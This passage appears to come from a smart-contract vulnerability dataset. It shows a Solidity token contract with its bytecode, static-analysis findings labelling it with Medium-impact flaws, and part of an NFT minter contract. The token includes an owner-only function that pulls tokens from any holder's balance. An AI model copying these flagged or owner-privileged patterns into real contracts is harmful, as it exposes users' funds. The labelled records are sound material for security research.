unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e16); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to distribute tokens to the list of addresses and amount */ function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e16); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to get back tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e16); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b4565b341561042c57600080fd5b61014d600160a060020a0360043516602435611227565b341561044e57600080fd5b610162600160a060020a036004351660243561130f565b341561047057600080fd5b610162600160a060020a03600435166113ea565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113ff95505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114ca9050565b341561054757600080fd5b610235600160a060020a03600435166115cc565b341561056657600080fd5b61014d6004356115de565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115fe565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162995505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118de95505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611baf565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4a95505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611fa216565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fb416565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123ef83398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123dc565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611fa216565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fb416565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611fa216565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123ef8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fb416565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fb416565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123ef8339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610fa284662386f26fc1000063ffffffff611fc316565b9350610fb68551859063ffffffff611fc316565b600160a060020a03331660009081526008602052604090205490925082901015610fdf57600080fd5b5060005b845181101561116757848181518110610ff857fe5b90602001906020020151600160a060020a03161580159061104d5750600a600086838151811061102457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110925750600b600086838151811061106457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109d57600080fd5b6110e184600860008885815181106110b157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fb416565b600860008784815181106110f157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061112157fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ef8339815191528660405190815260200160405180910390a3600101610fe3565b600160a060020a033316600090815260086020526040902054611190908363ffffffff611fa216565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111bc6123dc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461124257600080fd5b60008111801561126b5750600160a060020a038216600090815260086020526040902054819010155b151561127657600080fd5b600160a060020a03821660009081526008602052604090205461129f908263ffffffff611fa216565b600160a060020a0383166000908152600860205260409020556005546112cb908263ffffffff611fa216565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006113196123dc565b6000831180156113425750600160a060020a0333166000908152600a602052604090205460ff16155b80156113675750600160a060020a0384166000908152600a602052604090205460ff16155b801561138a5750600160a060020a0333166000908152600b602052604090205442115b80156113ad5750600160a060020a0384166000908152600b602052604090205442115b15156113b857600080fd5b6113c184611fee565b156113d8576113d1848483611ff6565b91506113e3565b6113d1848483612259565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114295750600160a060020a0333166000908152600a602052604090205460ff16155b801561144e5750600160a060020a0384166000908152600a602052604090205460ff16155b80156114715750600160a060020a0333166000908152600b602052604090205442115b80156114945750600160a060020a0384166000908152600b602052604090205442115b151561149f57600080fd5b6114a884611fee565b156114bf576114b8848484611ff6565b9050610c1a565b6114b8848484612259565b60015460009033600160a060020a039081169116146114e857600080fd5b60008351116114f657600080fd5b5060005b8251811015610e875782818151811061150f57fe5b90602001906020020151600160a060020a0316151561152d57600080fd5b81600a600085848151811061153e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157c57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114fa565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115f957600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600080600080855111801561163f575083518551145b80156116645750600160a060020a0333166000908152600a602052604090205460ff16155b80156116875750600160a060020a0333166000908152600b602052604090205442115b151561169257600080fd5b5060009050805b84518110156117e75760008482815181106116b057fe5b906020019060200201511180156116e457508481815181106116ce57fe5b90602001906020020151600160a060020a031615155b80156117245750600a60008683815181106116fb57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117695750600b600086838151811061173b57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177457600080fd5b6117a1662386f26fc1000085838151811061178b57fe5b906020019060200201519063ffffffff611fc316565b8482815181106117ad57fe5b602090810290910101526117dd8482815181106117c657fe5b90602001906020020151839063ffffffff611fb416565b9150600101611699565b600160a060020a0333166000908152600860205260409020548290101561180d57600080fd5b5060005b84518110156111675761184384828151811061182957fe5b90602001906020020151600860008885815181106110b157fe5b6008600087848151811061185357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061188357fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ef8339815191528684815181106118bb57fe5b9060200190602002015160405190815260200160405180910390a3600101611811565b6001546000908190819033600160a060020a0390811691161461190057600080fd5b60008551118015611912575083518551145b151561191d57600080fd5b5060009050805b8451811015611b8657600084828151811061193b57fe5b9060200190602002015111801561196f575084818151811061195957fe5b90602001906020020151600160a060020a031615155b80156119af5750600a600086838151811061198657fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119f45750600b60008683815181106119c657fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119ff57600080fd5b611a16662386f26fc1000085838151811061178b57fe5b848281518110611a2257fe5b60209081029091010152838181518110611a3857fe5b9060200190602002015160086000878481518110611a5257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a8157600080fd5b611ada848281518110611a9057fe5b9060200190602002015160086000888581518110611aaa57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fa216565b60086000878481518110611aea57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b1d8482815181106117c657fe5b915033600160a060020a0316858281518110611b3557fe5b90602001906020020151600160a060020a03166000805160206123ef833981519152868481518110611b6357fe5b9060200190602002015160405190815260200160405180910390a3600101611924565b600160a060020a033316600090815260086020526040902054611190908363ffffffff611fb416565b60015433600160a060020a03908116911614611bca57600080fd5b600160a060020a0381161515611bdf57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c745750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c995750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cbc5750600160a060020a0333166000908152600b602052604090205442115b8015611cdf5750600160a060020a0385166000908152600b602052604090205442115b1515611cea57600080fd5b611cf385611fee565b15611f8c57600160a060020a03331660009081526008602052604090205484901015611d1e57600080fd5b600160a060020a033316600090815260086020526040902054611d47908563ffffffff611fa216565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d7c908563ffffffff611fb416565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dca5780518252601f199092019160209182019101611dab565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e5b578082015183820152602001611e43565b50505050905090810190601f168015611e885780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611eac57fe5b826040518082805190602001908083835b60208310611edc5780518252601f199092019160209182019101611ebd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ef8339815191528660405190815260200160405180910390a3506001611f9a565b611f97858585612259565b90505b949350505050565b600082821115611fae57fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fd657600091506113e3565b50828202828482811515611fe657fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201e57600080fd5b600160a060020a033316600090815260086020526040902054612047908563ffffffff611fa216565b600160a060020a03338116600090815260086020526040808220939093559087168152205461207c908563ffffffff611fb416565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121155780820151838201526020016120fd565b50505050905090810190601f1680156121425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561216257600080fd5b6102c65a03f1151561217357600080fd5b505050826040518082805190602001908083835b602083106121a65780518252601f199092019160209182019101612187565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ef8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227f57600080fd5b600160a060020a0333166000908152600860205260409020546122a8908463ffffffff611fa216565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122dd908463ffffffff611fb416565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b6020831061232a5780518252601f19909201916020918201910161230b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123ef8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820cc87af12b9f3082fdddd0ee8d2a3111f35264343d850a5e00e774a95d7bad99e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,425
0x4f598212d55415D83A7024Ddb48d9FcA1AFe4edf
/** *Submitted for verification at Etherscan.io on 2021-10-21 */ // File: contracts/Strings.sol pragma solidity ^0.5.0; //https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol library Strings { function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, "", "", ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { babcde[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { babcde[k++] = _bb[i]; } for (i = 0; i < _bc.length; i++) { babcde[k++] = _bc[i]; } for (i = 0; i < _bd.length; i++) { babcde[k++] = _bd[i]; } for (i = 0; i < _be.length; i++) { babcde[k++] = _be[i]; } return string(babcde); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface GenArt721CoreV2 { function isWhitelisted(address sender) external view returns (bool); function projectIdToCurrencySymbol(uint256 _projectId) external view returns (string memory); function projectIdToCurrencyAddress(uint256 _projectId) external view returns (address); function projectIdToArtistAddress(uint256 _projectId) external view returns (address payable); function projectIdToPricePerTokenInWei(uint256 _projectId) external view returns (uint256); function projectIdToAdditionalPayee(uint256 _projectId) external view returns (address payable); function projectIdToAdditionalPayeePercentage(uint256 _projectId) external view returns (uint256); function projectTokenInfo(uint256 _projectId) external view returns (address, uint256, uint256, uint256, bool, address, uint256, string memory, address); function renderProviderAddress() external view returns (address payable); function renderProviderPercentage() external view returns (uint256); function mint(address _to, uint256 _projectId, address _by) external returns (uint256 tokenId); } interface ERC20 { function balanceOf(address _owner) external view returns (uint balance); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); } interface BonusContract { function triggerBonus(address _to) external returns (bool); function bonusIsActive() external view returns (bool); } contract GenArt721Minter_DoodleLabs { using SafeMath for uint256; GenArt721CoreV2 public genArtCoreContract; uint256 constant ONE_MILLION = 1_000_000; address payable public ownerAddress; uint256 public ownerPercentage; mapping(uint256 => bool) public projectIdToBonus; mapping(uint256 => address) public projectIdToBonusContractAddress; mapping(uint256 => bool) public contractFilterProject; mapping(address => mapping (uint256 => uint256)) public projectMintCounter; mapping(uint256 => uint256) public projectMintLimit; mapping(uint256 => bool) public projectMaxHasBeenInvoked; mapping(uint256 => uint256) public projectMaxInvocations; constructor(address _genArt721Address) public { genArtCoreContract=GenArt721CoreV2(_genArt721Address); } function getYourBalanceOfProjectERC20(uint256 _projectId) public view returns (uint256){ uint256 balance = ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender); return balance; } function checkYourAllowanceOfProjectERC20(uint256 _projectId) public view returns (uint256){ uint256 remaining = ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender, address(this)); return remaining; } function setProjectMintLimit(uint256 _projectId,uint8 _limit) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); projectMintLimit[_projectId] = _limit; } function setProjectMaxInvocations(uint256 _projectId) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); uint256 maxInvocations; uint256 invocations; ( , , invocations, maxInvocations, , , , , ) = genArtCoreContract.projectTokenInfo(_projectId); projectMaxInvocations[_projectId] = maxInvocations; if (invocations < maxInvocations) { projectMaxHasBeenInvoked[_projectId] = false; } } function setOwnerAddress(address payable _ownerAddress) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); ownerAddress = _ownerAddress; } function setOwnerPercentage(uint256 _ownerPercentage) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); ownerPercentage = _ownerPercentage; } function toggleContractFilter(uint256 _projectId) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); contractFilterProject[_projectId]=!contractFilterProject[_projectId]; } function artistToggleBonus(uint256 _projectId) public { require(msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId), "can only be set by artist"); projectIdToBonus[_projectId]=!projectIdToBonus[_projectId]; } function artistSetBonusContractAddress(uint256 _projectId, address _bonusContractAddress) public { require(msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId), "can only be set by artist"); projectIdToBonusContractAddress[_projectId]=_bonusContractAddress; } function purchase(uint256 _projectId) public payable returns (uint256 _tokenId) { return purchaseTo(msg.sender, _projectId); } // Remove `public`` and `payable`` to prevent public use // of the `purchaseTo`` function. function purchaseTo(address _to, uint256 _projectId) public payable returns(uint256 _tokenId){ require(!projectMaxHasBeenInvoked[_projectId], "Maximum number of invocations reached"); if (keccak256(abi.encodePacked(genArtCoreContract.projectIdToCurrencySymbol(_projectId))) != keccak256(abi.encodePacked("ETH"))){ require(msg.value==0, "this project accepts a different currency and cannot accept ETH"); require(ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender, address(this)) >= genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Insufficient Funds Approved for TX"); require(ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender) >= genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Insufficient balance."); _splitFundsERC20(_projectId); } else { require(msg.value>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Must send minimum value to mint!"); _splitFundsETH(_projectId); } // if contract filter is active prevent calls from another contract if (contractFilterProject[_projectId]) require(msg.sender == tx.origin, "No Contract Buys"); // limit mints per address by project if (projectMintLimit[_projectId] > 0) { require(projectMintCounter[msg.sender][_projectId] < projectMintLimit[_projectId], "Reached minting limit"); projectMintCounter[msg.sender][_projectId]++; } uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender); // What if this overflows, since default value of uint256 is 0? // That is intended, so that by default the minter allows infinite // transactions, allowing the `genArtCoreContract` to stop minting // `uint256 tokenInvocation = tokenId % ONE_MILLION;` if (tokenId % ONE_MILLION == projectMaxInvocations[_projectId]-1){ projectMaxHasBeenInvoked[_projectId] = true; } if (projectIdToBonus[_projectId]){ require(BonusContract(projectIdToBonusContractAddress[_projectId]).bonusIsActive(), "bonus must be active"); BonusContract(projectIdToBonusContractAddress[_projectId]).triggerBonus(msg.sender); } return tokenId; } function _splitFundsETH(uint256 _projectId) internal { if (msg.value > 0) { uint256 pricePerTokenInWei = genArtCoreContract.projectIdToPricePerTokenInWei(_projectId); uint256 refund = msg.value.sub(genArtCoreContract.projectIdToPricePerTokenInWei(_projectId)); if (refund > 0) { msg.sender.transfer(refund); } uint256 renderProviderAmount = pricePerTokenInWei.div(100).mul(genArtCoreContract.renderProviderPercentage()); if (renderProviderAmount > 0) { genArtCoreContract.renderProviderAddress().transfer(renderProviderAmount); } uint256 remainingFunds = pricePerTokenInWei.sub(renderProviderAmount); uint256 ownerFunds = remainingFunds.div(100).mul(ownerPercentage); if (ownerFunds > 0) { ownerAddress.transfer(ownerFunds); } uint256 projectFunds = 